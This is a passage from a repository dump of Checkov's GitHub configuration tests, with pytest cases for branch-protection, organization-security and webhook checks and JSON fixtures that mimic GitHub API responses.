    "content": "from __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\nfrom time_machine import travel\n\nfrom checkov.github.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.graph.checks.test_yaml_policies_base import load_yaml_data\n\nBASE_DIR = Path(__file__).parent\nCHECK_ID_MAP: \"dict[str, str]\" = {}  # will be filled via setup()\n\n\ndef test_GithubBranchDisallowDeletions():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchDisallowDeletions\")\n\n\ndef test_GithubBranchDismissStaleReviews():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchDismissStaleReviews\")\n\n\ndef test_GithubBranchDismissalRestrictions():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchDismissalRestrictions\")\n\n\ndef test_GithubBranchRequireCodeOwnerReviews():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchRequireCodeOwnerReviews\")\n\n\ndef test_GithubBranchRequireConversationResolution():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchRequireConversationResolution\")\n\n\ndef test_GithubBranchRequirePushRestrictions():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchRequirePushRestrictions\")\n\n\ndef test_GithubBranchRequireStatusChecks():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubBranchRequireStatusChecks\")\n\n\ndef test_GithubRequire2Approvals():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubRequire2Approvals\")\n\n\n@travel(\"2022-12-05\")\ndef test_GithubDisallowInactiveBranch60Days():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubDisallowInactiveBranch60Days\")\n\n\ndef test_GithubRequireUpdatedBranch():\n    run_check(base_path=BASE_DIR / \"branch_security\", check=\"GithubRequireUpdatedBranch\")\n\n\ndef test_GithubPublicRepositoryCreationIsLimited():\n    run_check(base_path=BASE_DIR / \"repo_management\", check=\"GithubPublicRepositoryCreationIsLimited\")\n\n\ndef test_GithubInternalRepositoryCreationIsLimited():\n    run_check(base_path=BASE_DIR / \"repo_management\", check=\"GithubInternalRepositoryCreationIsLimited\")\n\n\ndef test_GithubPrivateRepositoryCreationIsLimited():\n    run_check(base_path=BASE_DIR / \"repo_management\", check=\"GithubPrivateRepositoryCreationIsLimited\")\n\n\ndef test_GithubMinimumAdminsInOrganization():\n    run_check(base_path=BASE_DIR / \"contribution_access\", check=\"GithubMinimumAdminsInOrganization\")\n\n\ndef test_GithubRequireStrictBasePermissionsRepository():\n    run_check(base_path=BASE_DIR / \"contribution_access\", check=\"GithubRequireStrictBasePermissionsRepository\")\n\n\ndef test_GithubRequireOrganizationIsVerified():\n    run_check(base_path=BASE_DIR / \"contribution_access\", check=\"GithubRequireOrganizationIsVerified\")\n\n\n@pytest.fixture(autouse=True)\ndef setup():\n    global CHECK_ID_MAP\n    runner = Runner()\n    registry = runner.import_registry()\n    CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()}\n\n\ndef run_check(base_path: Path, check: str) -> None:\n    # set path where to find test files\n    test_dir_path = base_path / check\n\n    # setup GitHub configuration runner\n    runner = Runner()\n    runner.github.github_conf_dir_path = str(test_dir_path)\n\n    # run actual check\n    report = runner.run(runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check]))\n\n    # get actual results\n    summary = report.get_summary()\n    passed_checks = {check.file_path.lstrip(\"/\") for check in report.passed_checks}\n    failed_checks = {check.file_path.lstrip(\"/\") for check in report.failed_checks}\n\n    # get expected results\n    expected = load_yaml_data(dir_path=test_dir_path, source_file_name=\"expected.yaml\")\n\n    # make sure it is a dict\n    assert isinstance(expected, dict)\n\n    expected_to_pass = expected.get(\"pass\") or []\n    expected_to_fail = expected.get(\"fail\") or []\n\n    # check, if results are correct\n    assert summary[\"passed\"] == len(expected_to_pass)\n    assert summary[\"failed\"] == len(expected_to_fail)\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n\n    assert passed_checks == set(expected_to_pass)\n    assert failed_checks == set(expected_to_fail)\n"
  },
  {
    "path": "tests/github/resources/github_conf/collaborators/repository_collaborators.json",
    "content": "[\n  {\n    \"login\": \"octocat\",\n    \"id\": 1,\n    \"node_id\": \"MDQ6VXNlcjE=\",\n    \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/octocat\",\n    \"html_url\": \"https://github.com/octocat\",\n    \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n    \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n    \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n    \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false,\n    \"permissions\": {\n      \"pull\": true,\n      \"triage\": true,\n      \"push\": true,\n      \"maintain\": false,\n      \"admin\": false\n    },\n    \"role_name\": \"write\"\n  }\n]"
  },
  {
    "path": "tests/github/resources/github_conf/empty_collabs/repository_collaborators.json",
    "content": "[]"
  },
  {
    "path": "tests/github/resources/github_conf/fail/org_security.json",
    "content": "{\n  \"data\": {\n    \"organization\": {\n      \"name\": \"Bridgecrew\",\n      \"login\": \"bridgecrewio\",\n      \"description\": \"Secure public cloud infrastructure\",\n      \"ipAllowListEnabledSetting\": \"DISABLED\",\n      \"ipAllowListForInstalledAppsEnabledSetting\": \"DISABLED\",\n      \"requiresTwoFactorAuthentication\": false\n    }\n  }\n}"
  },
  {
    "path": "tests/github/resources/github_conf/pass/org_security.json",
    "content": "{\n  \"data\": {\n    \"organization\": {\n      \"name\": \"Bridgecrew\",\n      \"login\": \"bridgecrewio\",\n      \"description\": \"Secure public cloud infrastructure\",\n      \"ipAllowListEnabledSetting\": \"ENABLED\",\n      \"ipAllowListForInstalledAppsEnabledSetting\": \"ENABLED\",\n      \"requiresTwoFactorAuthentication\": true,\n      \"samlIdentityProvider\": {\n        \"ssoUrl\": \"https://bridgecrew.okta.com/app/githubcloud/foo/sso/saml\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/github/resources/github_conf/repo/branch_protection.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection\",\n  \"required_status_checks\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks\",\n    \"contexts\": [\n      \"continuous-integration/travis-ci\"\n    ],\n    \"contexts_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks/contexts\",\n    \"enforcement_level\": \"non_admins\"\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins\",\n    \"enabled\": true\n  },\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_pull_request_reviews\",\n    \"dismissal_restrictions\": {\n      \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions\",\n      \"users_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions/users\",\n      \"teams_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions/teams\",\n      \"users\": [\n        {\n          \"login\": \"octocat\",\n          \"id\": 1,\n          \"node_id\": \"MDQ6VXNlcjE=\",\n          \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n          \"gravatar_id\": \"\",\n          \"url\": \"https://api.github.com/users/octocat\",\n          \"html_url\": \"https://github.com/octocat\",\n          \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n          \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n          \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n          \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n          \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n          \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n          \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n          \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n          \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n          \"type\": \"User\",\n          \"site_admin\": false\n        }\n      ],\n      \"teams\": [\n        {\n          \"id\": 1,\n          \"node_id\": \"MDQ6VGVhbTE=\",\n          \"url\": \"https://api.github.com/teams/1\",\n          \"html_url\": \"https://github.com/orgs/github/teams/justice-league\",\n          \"name\": \"Justice League\",\n          \"slug\": \"justice-league\",\n          \"description\": \"A great team.\",\n          \"privacy\": \"closed\",\n          \"permission\": \"admin\",\n          \"members_url\": \"https://api.github.com/teams/1/members{/member}\",\n          \"repositories_url\": \"https://api.github.com/teams/1/repos\",\n          \"parent\": null\n        }\n      ]\n    },\n    \"dismiss_stale_reviews\": true,\n    \"require_code_owner_reviews\": true,\n    \"required_approving_review_count\": 2\n  },\n  \"restrictions\": {\n    \"url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions\",\n    \"users_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/users\",\n    \"teams_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/teams\",\n    \"apps_url\": \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/teams\",\n    \"users\": [\n      {\n        \"login\": \"octocat\",\n        \"id\": 1,\n        \"node_id\": \"MDQ6VXNlcjE=\",\n        \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n        \"gravatar_id\": \"\",\n        \"url\": \"https://api.github.com/users/octocat\",\n        \"html_url\": \"https://github.com/octocat\",\n        \"followers_url\": \"https://api.github.com/users/octocat/followers\",\n        \"following_url\": \"https://api.github.com/users/octocat/following{/other_user}\",\n        \"gists_url\": \"https://api.github.com/users/octocat/gists{/gist_id}\",\n        \"starred_url\": \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n        \"subscriptions_url\": \"https://api.github.com/users/octocat/subscriptions\",\n        \"organizations_url\": \"https://api.github.com/users/octocat/orgs\",\n        \"repos_url\": \"https://api.github.com/users/octocat/repos\",\n        \"events_url\": \"https://api.github.com/users/octocat/events{/privacy}\",\n        \"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n        \"type\": \"User\",\n        \"site_admin\": false\n      }\n    ],\n    \"teams\": [\n      {\n        \"id\": 1,\n        \"node_id\": \"MDQ6VGVhbTE=\",\n        \"url\": \"https://api.github.com/teams/1\",\n        \"html_url\": \"https://github.com/orgs/github/teams/justice-league\",\n        \"name\": \"Justice League\",\n        \"slug\": \"justice-league\",\n        \"description\": \"A great team.\",\n        \"privacy\": \"closed\",\n        \"permission\": \"admin\",\n        \"members_url\": \"https://api.github.com/teams/1/members{/member}\",\n        \"repositories_url\": \"https://api.github.com/teams/1/repos\",\n        \"parent\": null\n      }\n    ],\n    \"apps\": [\n      {\n        \"id\": 1,\n        \"slug\": \"octoapp\",\n        \"node_id\": \"MDExOkludGVncmF0aW9uMQ==\",\n        \"owner\": {\n          \"login\": \"github\",\n          \"id\": 1,\n          \"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjE=\",\n          \"url\": \"https://api.github.com/orgs/github\",\n          \"repos_url\": \"https://api.github.com/orgs/github/repos\",\n          \"events_url\": \"https://api.github.com/orgs/github/events\",\n          \"hooks_url\": \"https://api.github.com/orgs/github/hooks\",\n          \"issues_url\": \"https://api.github.com/orgs/github/issues\",\n          \"members_url\": \"https://api.github.com/orgs/github/members{/member}\",\n          \"public_members_url\": \"https://api.github.com/orgs/github/public_members{/member}\",\n          \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n          \"description\": \"A great organization\"\n        },\n        \"name\": \"Octocat App\",\n        \"description\": \"\",\n        \"external_url\": \"https://example.com\",\n        \"html_url\": \"https://github.com/apps/octoapp\",\n        \"created_at\": \"2017-07-08T16:18:44-04:00\",\n        \"updated_at\": \"2017-07-08T16:18:44-04:00\",\n        \"permissions\": {\n          \"metadata\": \"read\",\n          \"contents\": \"read\",\n          \"issues\": \"write\",\n          \"single_file\": \"write\"\n        },\n        \"events\": [\n          \"push\",\n          \"pull_request\"\n        ]\n      }\n    ]\n  },\n  \"required_linear_history\": {\n    \"enabled\": true\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": true\n  },\n  \"allow_deletions\": {\n    \"enabled\": true\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": true\n  }\n}\n"
  },
  {
    "path": "tests/github/resources/github_conf/repo_no_rules/branch_protection_rules.json",
    "content": "{\n    \"message\": \"Branch not protected\",\n    \"documentation_url\": \"https://docs.github.com/rest/reference/repos#get-branch-protection\"\n}"
  },
  {
    "path": "tests/github/resources/github_conf/webhooks/org_webhooks.json",
    "content": "[\n    {\n        \"type\": \"Organization\",\n        \"id\": 1,\n        \"name\": \"web\",\n        \"active\": true,\n        \"events\": [\n            \"push\"\n        ],\n        \"config\": {\n            \"content_type\": \"form\",\n            \"insecure_ssl\": \"0\",\n            \"secret\": \"********\",\n            \"url\": \"https://example.com/test\"\n        },\n        \"updated_at\": \"2022-07-28T12:13:19Z\",\n        \"created_at\": \"2022-07-28T12:13:19Z\",\n        \"url\": \"https://api.github.com/orgs/acmeio/hooks/1\",\n        \"ping_url\": \"https://api.github.com/orgs/acmeio/hooks/1/pings\",\n        \"deliveries_url\": \"https://api.github.com/orgs/acmeio/hooks/1/deliveries\"\n    }\n]"
  },
  {
    "path": "tests/github/resources/github_conf/webhooks/org_webhooks_fail.json",
    "content": "[\n    {\n        \"type\": \"Organization\",\n        \"id\": 1,\n        \"name\": \"web\",\n        \"active\": true,\n        \"events\": [\n            \"push\"\n        ],\n        \"config\": {\n            \"content_type\": \"form\",\n            \"insecure_ssl\": \"0\",\n            \"secret\": \"********\",\n            \"url\": \"http://example.com/test\"\n        },\n        \"updated_at\": \"2022-07-28T12:13:19Z\",\n        \"created_at\": \"2022-07-28T12:13:19Z\",\n        \"url\": \"https://api.github.com/orgs/acmeio/hooks/1\",\n        \"ping_url\": \"https://api.github.com/orgs/acmeio/hooks/1/pings\",\n        \"deliveries_url\": \"https://api.github.com/orgs/acmeio/hooks/1/deliveries\"\n    }\n]"
  },
  {
    "path": "tests/github/resources/github_conf/webhooks/repository_webhooks.json",
    "content": "[\n    {\n        \"type\": \"Repository\",\n        \"id\": 2,\n        \"name\": \"web\",\n        \"active\": true,\n        \"events\": [\n            \"pull_request\",\n            \"push\"\n        ],\n        \"config\": {\n            \"content_type\": \"json\",\n            \"url\": \"https://hub.docker.com/api/build/v1/vcs/example/trigger/call/\",\n            \"insecure_ssl\": \"0\"\n        },\n        \"updated_at\": \"2080-06-03T20:38:56Z\",\n        \"created_at\": \"2080-03-16T22:07:28Z\",\n        \"url\": \"https://api.github.com/repos/myorg/example/hooks/2\",\n        \"test_url\": \"https://api.github.com/repos/myorg/example/hooks/2/test\",\n        \"ping_url\": \"https://api.github.com/repos/myorg/example/hooks/2/pings\",\n        \"deliveries_url\": \"https://api.github.com/repos/myorg/example/hooks/2/deliveries\",\n        \"last_response\": {\n            \"code\": 202,\n            \"status\": \"active\",\n            \"message\": \"OK\"\n        }\n    },\n    {\n        \"type\": \"Repository\",\n        \"id\": 1,\n        \"name\": \"web\",\n        \"active\": true,\n        \"events\": [\n            \"push\"\n        ],\n        \"config\": {\n            \"content_type\": \"json\",\n            \"url\": \"https://pyup.io/provider/github/webhook/s/\",\n            \"insecure_ssl\": \"0\"\n        },\n        \"updated_at\": \"2080-07-15T11:32:53Z\",\n        \"created_at\": \"2080-07-15T11:32:53Z\",\n        \"url\": \"https://api.github.com/repos/myorg/example/hooks/234258606\",\n        \"test_url\": \"https://api.github.com/repos/myorg/example/hooks/234258606/test\",\n        \"ping_url\": \"https://api.github.com/repos/myorg/example/hooks/234258606/pings\",\n        \"deliveries_url\": \"https://api.github.com/repos/myorg/example/hooks/234258606/deliveries\",\n        \"last_response\": {\n            \"code\": 404,\n            \"status\": \"missing\",\n            \"message\": \"Invalid HTTP Response: 404\"\n        }\n    },\n    {\n        \"type\": \"Repository\",\n        \"id\": 1,\n        \"name\": \"web\",\n        \"active\": true,\n        \"events\": [\n            \"create\"\n        ],\n        \"config\": {\n            \"content_type\": \"json\",\n            \"insecure_ssl\": \"0\",\n            \"url\": \"https://y.acme.cloud/generic-webhook-trigger/invoke?token=m\"\n        },\n        \"updated_at\": \"2081-08-30T09:58:53Z\",\n        \"created_at\": \"2081-08-30T09:58:12Z\",\n        \"url\": \"https://api.github.com/repos/myorg/example/hooks/1\",\n        \"test_url\": \"https://api.github.com/repos/myorg/example/hooks/1/test\",\n        \"ping_url\": \"https://api.github.com/repos/myorg/example/hooks/1/pings\",\n        \"deliveries_url\": \"https://api.github.com/repos/myorg/example/hooks/1/deliveries\",\n        \"last_response\": {\n            \"code\": 503,\n            \"status\": \"external_service_offline\",\n            \"message\": \"Invalid HTTP Response: 503\"\n        }\n    }\n]"
  },
  {
    "path": "tests/github/test_dal.py",
    "content": "import os\nfrom unittest import mock\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.github.dal import Github\n\n\n@mock.patch.dict(os.environ, {\"GITHUB_ORG\": \"simpleOrg\"}, clear=True)\ndef test_org_security_null_description(mocker: MockerFixture):\n    dal = Github()\n    mock_data = {\n        \"data\": {\n            \"organization\": {\n                \"name\": \"Bridgecrew\",\n                \"login\": \"Bridgecrew-dev\",\n                \"description\": None,\n                \"ipAllowListEnabledSetting\": \"DISABLED\",\n                \"ipAllowListForInstalledAppsEnabledSetting\": \"DISABLED\",\n                \"requiresTwoFactorAuthentication\": False,\n                \"samlIdentityProvider\": None\n            }\n        }\n    }\n    mocker.patch(\"checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request_graphql\", return_value=mock_data)\n    result = dal.get_organization_security()\n    assert result\n\n\n@mock.patch.dict(os.environ, {\"GITHUB_ORG\": \"simpleOrg\"}, clear=True)\ndef test_org_security_str_description(mocker: MockerFixture):\n    dal = Github()\n    mock_data = {\n        \"data\": {\n            \"organization\": {\n                \"name\": \"Bridgecrew\",\n                \"login\": \"Bridgecrew-dev\",\n                \"description\": \"\",\n                \"ipAllowListEnabledSetting\": \"DISABLED\",\n                \"ipAllowListForInstalledAppsEnabledSetting\": \"DISABLED\",\n                \"requiresTwoFactorAuthentication\": False,\n                \"samlIdentityProvider\": None\n            }\n        }\n    }\n    mocker.patch(\"checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request_graphql\", return_value=mock_data)\n    result = dal.get_organization_security()\n    assert result\n\n\n@mock.patch.dict(os.environ, {\"GITHUB_REPO_OWNER\": \"bridgecrew\", \"GITHUB_REPOSITORY\": \"main\"}, clear=True)\ndef test_org_webhooks(mocker: MockerFixture):\n    dal = Github()\n    mock_data = [\n        {\n            \"type\": \"Organization\",\n            \"id\": 0,\n            \"name\": \"web\",\n            \"active\": True,\n            \"events\": [\n                \"*\"\n            ],\n            \"config\": {\n                \"content_type\": \"form\",\n                \"insecure_ssl\": \"0\",\n                \"url\": \"http://test-repo-webhook.com\"\n            },\n            \"updated_at\": \"2022-10-02T12:39:12Z\",\n            \"created_at\": \"2022-09-29T09:01:36Z\",\n            \"url\": \"\",\n            \"test_url\": \"\",\n            \"ping_url\": \"\",\n            \"deliveries_url\": \"\"\n        }\n    ]\n    mocker.patch(\"checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request\", return_value=mock_data)\n    result = dal.get_repository_webhooks()\n    assert result\n\n\n@mock.patch.dict(os.environ, {\"GITHUB_REPO_OWNER\": \"bridgecrew\", \"GITHUB_REPOSITORY\": \"main\"}, clear=True)\ndef test_repository_webhooks(mocker: MockerFixture):\n    dal = Github()\n    mock_data = [\n        {\n            \"type\": \"Repository\",\n            \"id\": 0,\n            \"name\": \"web\",\n            \"active\": True,\n            \"events\": [\n                \"*\"\n            ],\n            \"config\": {\n                \"content_type\": \"form\",\n                \"insecure_ssl\": \"0\",\n                \"url\": \"http://test-repo-webhook.com\"\n            },\n            \"updated_at\": \"2022-10-02T12:39:12Z\",\n            \"created_at\": \"2022-09-29T09:01:36Z\",\n            \"url\": \"\",\n            \"test_url\": \"\",\n            \"ping_url\": \"\",\n            \"deliveries_url\": \"\"\n        }\n    ]\n    mocker.patch(\"checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request\", return_value=mock_data)\n    result = dal.get_repository_webhooks()\n    assert result\n\n\ndef test_validate_github_conf_paths():\n    # check that all the files in github_conf folder that should be updated with new data from GitHub api reply,\n    # are empty.In case of no reply-no old data should be left causing confusion with new retrieved data.\n    dal = Github()\n\n    all_files_are_empty = True\n    for github_conf_type, files in dal.github_conf_file_paths.items():\n        for file_path in files:\n            all_files_are_empty &= not os.path.isfile(file_path) or os.path.getsize(file_path) == 0\n\n    assert all_files_are_empty\n"
  },
  {
    "path": "tests/github/test_runner.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.github.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.github.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.GITHUB_CONFIGURATION)\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\",\n                                  \"GITHUB_REF\": \"refs/heads/feature-branch-1\"}, clear=True)\n    def test_runner_webhooks_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"webhooks\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_6\", \"CKV_GITHUB_7\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\",\n                                  \"GITHUB_REF\": \"refs/heads/feature-branch-1\"}, clear=True)\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"fail\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_1\", \"CKV_GITHUB_2\", \"CKV_GITHUB_3\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(runner.github.current_branch, \"feature-branch-1\")\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\",\n                                  \"GITHUB_REF\": \"refs/heads/feature-branch-1\"}, clear=True)\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"fail\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n        filter = RunnerFilter(framework=['github_configuration'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.GITHUB_CONFIGURATION: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(runner.github.current_branch, \"feature-branch-1\")\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_repo_security(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"repo\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\n            \"CKV_GITHUB_4\",\n            \"CKV_GITHUB_5\",\n            \"CKV_GITHUB_8\",\n            \"CKV_GITHUB_10\",\n            \"CKV_GITHUB_11\",\n            \"CKV_GITHUB_12\",\n            \"CKV_GITHUB_13\",\n            \"CKV_GITHUB_14\",\n            \"CKV_GITHUB_15\",\n            \"CKV_GITHUB_16\",\n            \"CKV_GITHUB_17\",\n            \"CKV_GITHUB_18\",\n        ]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 4)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 7)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_repo_admin_collaborators(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"collaborators\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_9\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_empty_repo_collaborators(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"empty_collabs\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_9\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_repo_security_no_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"repo_no_rules\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_4\", \"CKV_GITHUB_5\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_object_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"github_conf\", \"pass\")\n        runner = Runner()\n        runner.github.github_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITHUB_1\", \"CKV_GITHUB_2\", \"CKV_GITHUB_3\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITHUB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_files_ignore(self):\n        # given\n        test_file = Path(__file__).parent / \"resources/github_conf/pass/org_security.json\"\n        checks = [\"CKV_GITHUB_1\", \"CKV_GITHUB_2\", \"CKV_GITHUB_3\"]\n\n        # when\n        report = Runner().run(\n            files=[str(test_file)],\n            runner_filter=RunnerFilter(checks=checks)\n        )\n\n        # then\n        # even it points to a file with scannable content, it should skip it\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n\nif __name__ == \"__main__\":\n    